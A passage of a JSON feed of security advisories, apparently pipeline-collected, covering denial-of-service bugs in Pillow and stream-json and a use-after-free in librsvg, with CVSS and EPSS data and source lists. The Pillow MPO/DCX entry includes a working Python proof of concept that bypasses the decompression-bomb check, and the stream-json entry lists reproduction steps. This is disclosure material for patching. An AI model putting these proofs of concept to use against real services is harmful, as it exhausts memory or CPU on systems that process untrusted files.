page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-4rm8-3hmm-39fg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-4rm8-3hmm-39fg, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96641&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96641, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96638","cveId":"CVE-2026-96638","aliases":["GHSA-24rc-8hj2-v98c"],"kind":"vulnerability","title":"Pillow: BMP RLE decoder memory-amplification DoS via unbounded delta escape / absolute mode","summary":"Because a single delta can push len(data) to ~256 * (row size), a tiny RLE stream combined with a large-but-legal xsize (xsize*ysize just under MAX_IMAGE_PIXELS, ~89M) yields a multi-GB `data` bytearray (then copied again by bytes(data) and set_as_raw). No heap OOB (bytearray/set_as_raw are bounds-safe), but a severe memory-amplification DoS: the attacker file stays tiny.\n\nAttached: pillow_poc_bmp_rle_dos.py","detail":"## Summary\nBmpRleDecoder can be forced to allocate gigabytes of memory from a kilobyte-sized crafted BMP file via unbounded growth in the delta escape and absolute mode branches.\n\n## Affected versions\nAll versions up to and including current HEAD (v13.0.0.dev0, commit e7a7ea84)\n\n## Root cause\nBmpRleDecoder.decode() (BmpImagePlugin.py:327-395) builds a Python bytearray `data` with dest_length = xsize*ysize, looping `while len(data) up to ~255*xsize bytes in ONE iteration.\n- absolute mode (line 385): data += bytes_read (up to 255).\n\nBecause a single delta can push len(data) to ~256 * (row size), a tiny RLE stream combined with a large-but-legal xsize (xsize*ysize just under MAX_IMAGE_PIXELS, ~89M) yields a multi-GB `data` bytearray (then copied again by bytes(data) and set_as_raw). No heap OOB (bytearray/set_as_raw are bounds-safe), but a severe memory-amplification DoS: the attacker file stays tiny.\n\n## Reproduction\nPython 3.13, Pillow HEAD e7a7ea84\n\nAttached: pillow_poc_bmp_rle_dos.py\n\nA 1084-byte BMP (BI_RLE8, width=3,000,000, height=1 -> 3M px, passes bomb check) with one delta escape (00 02 00 150) produces ~429 MB `data`; measured peak RSS 911 MB. Scaling width toward the bomb limit and up=255 produces tens of GB from a ~1 KB file.\n\n## Suggested fix\nCap growth at dest_length in the delta and absolute branches, e.g. clamp the delta fill to (dest_length - len(data)) and stop appending once len(data) >= dest_length; reject deltas that would move the cursor beyond the image, matching the existing per-row clamp at line 341-343.\n\nCredit: Yazan Balawneh - CyStack Security Team (GitHub: sonicnew)\n\n[pillow_poc_bmp_rle_dos.py](https://github.com/user-attachments/files/30244974/pillow_poc_bmp_rle_dos.py)\n\nAffected package ranges reported by GitHub:\npillow: >= 9.1.0, < 13.0.0","action":"GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T15:59:35.000Z","updatedAt":"2026-10-22T15:59:36.000Z","regions":["Global"],"vendor":null,"product":"pillow","stacks":["Python packages (PyPI)","pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-24rc-8hj2-v98c","asOf":"2026-10-22T15:59:36.000Z"},"epss":{"probability":0.0035,"percentile":0.28374,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96638&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-24rc-8hj2-v98c","url":"https://github.com/advisories/GHSA-24rc-8hj2-v98c","type":"primary","publishedAt":"2026-10-22T15:59:35.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-24rc-8hj2-v98c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-24rc-8hj2-v98c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-24rc-8hj2-v98c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-24rc-8hj2-v98c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-24rc-8hj2-v98c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-24rc-8hj2-v98c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-24rc-8hj2-v98c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-24rc-8hj2-v98c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-24rc-8hj2-v98c, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96638&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96638, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96636","cveId":"CVE-2026-96636","aliases":["GHSA-p8hx-v2p6-rp84"],"kind":"vulnerability","title":"Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek)","summary":"Same class as the recently assigned CVE-2026-55379 (BdfFontFile), CVE-2026-55380 (GdImageFile) and CVE-2026-40192 (FITS GZIP).\n\n- **`PIL/MpoImagePlugin.py`, `MpoImageFile.seek()`**: calls `JpegImagePlugin.JpegImageFile._open(self)` (which sets `self._size` from the frame's JPEG SOF) and rebuilds `self.tile`, with no `Image._decompression_bomb_check(self.size)`.\n- **`PIL/DcxImagePlugin.py`, `DcxImageFile.seek()`**: calls `PcxImageFile._open(self)` (which sets `self._size` from the page's PCX header), with no check.","detail":"### Summary\nPillow's decompression-bomb protection (`Image._decompression_bomb_check`, gated by `Image.MAX_IMAGE_PIXELS`) is enforced only on the **first frame**, inside `Image.open()`. For multi-frame formats, `seek()` re-parses the target frame's header and resets `self._size`. `GifImagePlugin` and `TiffImagePlugin` re-run the bomb check on `seek()`, but **`MpoImageFile.seek()` and `DcxImageFile.seek()` do not.** A crafted MPO or DCX whose first frame is tiny (passing the check) but whose later frame declares enormous dimensions therefore bypasses the protection: loading that frame decodes an over-limit image and commits large amounts of memory — a denial of service (memory exhaustion / OOM).\n\nSame class as the recently assigned CVE-2026-55379 (BdfFontFile), CVE-2026-55380 (GdImageFile) and CVE-2026-40192 (FITS GZIP).\n\n### Details\n`Image.open()` → `_open_core()` runs `_decompression_bomb_check(im.size)` once, on the frame present at open time. Both vulnerable `seek()` methods re-parse a new frame and set a new `self._size` without re-checking:\n\n- **`PIL/MpoImagePlugin.py`, `MpoImageFile.seek()`**: calls `JpegImagePlugin.JpegImageFile._open(self)` (which sets `self._size` from the frame's JPEG SOF) and rebuilds `self.tile`, with no `Image._decompression_bomb_check(self.size)`.\n- **`PIL/DcxImagePlugin.py`, `DcxImageFile.seek()`**: calls `PcxImageFile._open(self)` (which sets `self._size` from the page's PCX header), with no check.\n\nConfirmed present in **12.3.0** (latest release) and on **`main`** (13.0.0.dev0). Compare `GifImagePlugin._seek` and `TiffImagePlugin`, which call `_decompression_bomb_check` correctly on seek.\n\n### PoC\nSelf-contained; the victim uses **default** `MAX_IMAGE_PIXELS`:\n\n```python\nimport io\nfrom PIL import Image\n\n# attacker builds the file (guard disabled only to CREATE the oversized frame)\nImage.MAX_IMAGE_PIXELS = None\nsmall = Image.new(\"RGB\", (8, 8))\nbig = Image.new(\"RGB\", (14000, 14000), (120, 60, 30)) # 196,000,000 px > error threshold\nbuf = io.BytesIO()\nsmall.save(buf, format=\"MPO\", save_all=True, append_images=[big])\ndata = buf.getvalue() # ~3 MB\nImage.MAX_IMAGE_PIXELS = int(1024 * 1024 * 1024 // 4 // 3) # restore default\n\n# victim (default limits)\nim = Image.open(io.BytesIO(data)) # frame 0 (8x8) passes the bomb check\nim.seek(1) # frame 1 (14000x14000) -> NOT re-checked <-- bug\nim.load() # decodes the over-limit image, commits memory\nprint(\"loaded over-limit frame:\", im.size)\n```\n\nMeasured on Pillow 12.3.0 (default limit 89,478,485 px; error threshold 178,956,970 px):\n\n| Vector | File size | Frame 1 | Peak RSS |\n|---|---|---|---|\n| MPO (JPEG) | ~3.0 MB | 14000×14000 (196 Mpx) | ~763 MB |\n| DCX (PCX) | ~6.2 MB | 14000×14000 (196 Mpx) | ~200 MB |\n| Control: same image standalone | — | 196 Mpx | `DecompressionBombError` (correctly blocked) |\n\nThe DCX vector (`0x3ADE68B1` magic + offset directory + two PCX pages) behaves identically via `DcxImageFile.seek()`. Scaling frame 1 toward JPEG's ~65500×65500 maximum drives multi-GB commitments from a small file, reliably OOM-killing the process.\n\n### Impact\nDenial of service (memory exhaustion / OOM) — CWE-400 / CWE-1284, a bypass of Pillow's documented decompression-bomb mitigation. `seek()` + `load()` is the normal way to iterate frames (e.g. `PIL.ImageSequence.Iterator`, thumbnailers, converters, 3D-photo handlers). Because **MPO is auto-detected from a JPEG carrying MPF metadata**, a file served with a `.jpg` extension can be opened as MPO, so any application that iterates frames of untrusted images is exposed.\n\n### Suggested fix\nRe-run the check after `seek()` re-parses a frame, mirroring GIF/TIFF:\n\n```python\n# PIL/MpoImagePlugin.py — end of MpoImageFile.seek()\nself.tile = [ImageFile._Tile(\"jpeg\", (0, 0) + self.size, self.offset, self.tile[0][-1])]\nImage._decompression_bomb_check(self.size) # add\nself.__frame = frame\n\n# PIL/DcxImagePlugin.py — end of DcxImageFile.seek()\nPcxImageFile._open(self)\nImage._decompression_bomb_check(self.size) # add\n```\n\nAffected package ranges reported by GitHub:\nPillow: < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T15:56:37.000Z","updatedAt":"2026-10-22T15:56:39.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-p8hx-v2p6-rp84","asOf":"2026-10-22T15:56:39.000Z"},"epss":{"probability":0.0035,"percentile":0.28375,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96636&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-p8hx-v2p6-rp84","url":"https://github.com/advisories/GHSA-p8hx-v2p6-rp84","type":"primary","publishedAt":"2026-10-22T15:56:37.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-p8hx-v2p6-rp84, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-p8hx-v2p6-rp84, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-p8hx-v2p6-rp84, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-p8hx-v2p6-rp84, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-p8hx-v2p6-rp84, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-p8hx-v2p6-rp84, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-p8hx-v2p6-rp84, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-p8hx-v2p6-rp84, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-p8hx-v2p6-rp84, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96636&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96636, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96889","cveId":"CVE-2026-96889","aliases":["GHSA-cpvr-w4j5-2mpg"],"kind":"vulnerability","title":"Librsvg: Use-after-free when XML includes have duplicated entities","summary":"Librsvg uses libxml2, a C library, to parse XML. When librsvg parses\nan SVG document which has a nested Xinclude, an XML entity declaration\nwith a duplicate name as an existing one can cause a use-after-free error.\n\nWhile libxml2 is expanding an internal entity, a recursive XInclude\ncan parse another document that declares an entity with the same\nname. Both parses use the same `XmlState` entity\nmap on the librsvg side. `entity_insert()` replaces the first entry, whose `Drop`\nimplementation calls `xmlFreeNode()`. The outer `xmlCtxtParseEntity()`\nthen keeps using the freed 144-byte `xmlEntity`.","detail":"Librsvg uses libxml2, a C library, to parse XML. When librsvg parses\nan SVG document which has a nested Xinclude, an XML entity declaration\nwith a duplicate name as an existing one can cause a use-after-free error.\n\nWhile libxml2 is expanding an internal entity, a recursive XInclude\ncan parse another document that declares an entity with the same\nname. Both parses use the same `XmlState` entity\nmap on the librsvg side. `entity_insert()` replaces the first entry, whose `Drop`\nimplementation calls `xmlFreeNode()`. The outer `xmlCtxtParseEntity()`\nthen keeps using the freed 144-byte `xmlEntity`.\n\nThe included parse should not free an entity that the outer parser is still using.\n\nThe fix is in commit 8a1b0cd319e9af2d1e9cf878081dd77f227a0504, where\nlibrsvg will no longer free xmlEntity pointers that libxml2 is still\nusing.\n\nAffected package ranges reported by GitHub:\nlibrsvg: < 2.57.5\nlibrsvg: >= 2.60.0-beta.0, < 2.60.3\nlibrsvg: >= 2.61.0, < 2.61.5\nlibrsvg: >= 2.62.0-beta.0, < 2.62.4\nlibrsvg: >= 2.63.0-beta.0, < 2.63.2","action":"GitHub lists first patched versions: librsvg: 2.57.5; librsvg: 2.60.3; librsvg: 2.61.5; librsvg: 2.62.4; librsvg: 2.63.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T15:52:48.000Z","updatedAt":"2026-10-22T15:52:50.000Z","regions":["Global"],"vendor":null,"product":"librsvg, librsvg, librsvg, librsvg, librsvg","stacks":["Rust crates","librsvg","rust"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://github.com/advisories/GHSA-cpvr-w4j5-2mpg","asOf":"2026-10-22T15:52:50.000Z"},"epss":{"probability":0.00529,"percentile":0.44448,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96889&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-cpvr-w4j5-2mpg","url":"https://github.com/advisories/GHSA-cpvr-w4j5-2mpg","type":"primary","publishedAt":"2026-10-22T15:52:48.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-cpvr-w4j5-2mpg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-cpvr-w4j5-2mpg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-cpvr-w4j5-2mpg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-cpvr-w4j5-2mpg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-cpvr-w4j5-2mpg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-cpvr-w4j5-2mpg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-cpvr-w4j5-2mpg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-cpvr-w4j5-2mpg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-cpvr-w4j5-2mpg, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96889&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96889, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114129","cveId":"CVE-2026-114129","aliases":["GHSA-jj87-hc4r-jwfw"],"kind":"vulnerability","title":"stream-json: FlexAssembler string/RegExp path filters join the full key stack per container start, giving O(depth^2) CPU denial of service","summary":"`FlexAssembler`, the custom-container assembler shipped in the `stream-json` package (`src/core/utils/flex-assembler.js`, re-exported at `stream-json/utils/flex-assembler.js` and `stream-json/web/utils/flex-assembler.js`), compiles a string or RegExp path `filter` into a matcher that runs `keyStack.join(separator)` on every container start. Because the key stack grows one entry per open object or array with no depth bound, a JSON document nested to depth D drives D container-start tokens that each perform an O(D) join, for O(D^2) total CPU on the single-threaded event loop. An unauthenticated party who can supply JSON bytes to a pipeline that uses a `FlexAssembler` with a string or RegExp rule filter can stall the process with a small input: roughly 96 KB (depth 16000) blocks the event loop for over a second, and the cost grows quadratically.\n\n`FlexAssembler` reconstructs JavaScript values from the parser token stream and supports custom containers selected by path-matching rules. When a rule `filter` is a string or RegExp, `compileFilter` returns a matcher that computes the joined path from the full key stack before making any match decision. That join is O(current depth), and it is invoked unconditionally for every rule on every container start. The key stack that feeds the join has no depth cap. The package does have a depth guard (`maxDepth`), but it exists only in the unrelated filter base state machine and never executes on the `FlexAssembler` code path, so nested input is unbounded here.","detail":"## Summary\n\n`FlexAssembler`, the custom-container assembler shipped in the `stream-json` package (`src/core/utils/flex-assembler.js`, re-exported at `stream-json/utils/flex-assembler.js` and `stream-json/web/utils/flex-assembler.js`), compiles a string or RegExp path `filter` into a matcher that runs `keyStack.join(separator)` on every container start. Because the key stack grows one entry per open object or array with no depth bound, a JSON document nested to depth D drives D container-start tokens that each perform an O(D) join, for O(D^2) total CPU on the single-threaded event loop. An unauthenticated party who can supply JSON bytes to a pipeline that uses a `FlexAssembler` with a string or RegExp rule filter can stall the process with a small input: roughly 96 KB (depth 16000) blocks the event loop for over a second, and the cost grows quadratically.\n\n## Root Cause\n\n`FlexAssembler` reconstructs JavaScript values from the parser token stream and supports custom containers selected by path-matching rules. When a rule `filter` is a string or RegExp, `compileFilter` returns a matcher that computes the joined path from the full key stack before making any match decision. That join is O(current depth), and it is invoked unconditionally for every rule on every container start. The key stack that feeds the join has no depth cap. The package does have a depth guard (`maxDepth`), but it exists only in the unrelated filter base state machine and never executes on the `FlexAssembler` code path, so nested input is unbounded here.\n\n```text\nsrc/core/utils/flex-assembler.js\n compileFilter (lines 5-21): string branch computes `path.join(separator)` (line 10)\n before the `=== filter || startsWith(...)` comparison; RegExp branch computes\n `filter.test(path.join(separator))` (line 17). The join runs first, unconditionally.\n FlexAssembler._matchRule (lines 160-166): calls `rule.filter(this.keyStack)` for every\n rule; invoked from startObject (line 184) and startArray (line 197) on every\n container start.\n FlexAssembler._pushState (lines 168-176): pushes one entry onto `keyStack` per open\n container with no depth bound.\n```\n\n## Impact\n\nAn attacker who can deliver JSON to a pipeline whose `FlexAssembler` is configured with a string or RegExp rule filter (a documented, tested, first-class option: `Filter = string | RegExp | FilterFunction`) can cause quadratic CPU consumption. The join runs regardless of whether the rule ultimately matches, so no attacker knowledge of the schema is required beyond nesting depth, which the attacker fully controls. The demonstrated capability is an availability impact: a small crafted document blocks the Node.js event loop, stalling all concurrent work on the process. There is no confidentiality or integrity impact. A consumer that uses only a function filter or no rules is not affected, which narrows the vulnerable population but does not raise attack complexity once such a configuration is in use.\n\n## Proof of Concept\n\n`Node.js and the published stream-json@3.6.0 package. Drive a FlexAssembler configured with a string rule filter, comparing against a function filter as a negative control.`\n\n1. Install `stream-json@3.6.0`.\n2. Construct a deeply nested object token stream (or equivalently parse a document like `'{\"k\":'` repeated D times, a `1`, then `'}'` repeated D times, through `parser`/`parserStream`).\n3. Feed it to a `FlexAssembler` whose `objectRules` contains a rule with a string `filter`.\n4. Observe wall-clock time scaling as roughly 4x per doubling of D (quadratic), while a function-filter configuration stays flat.\n\n```js\nimport FlexAssembler from 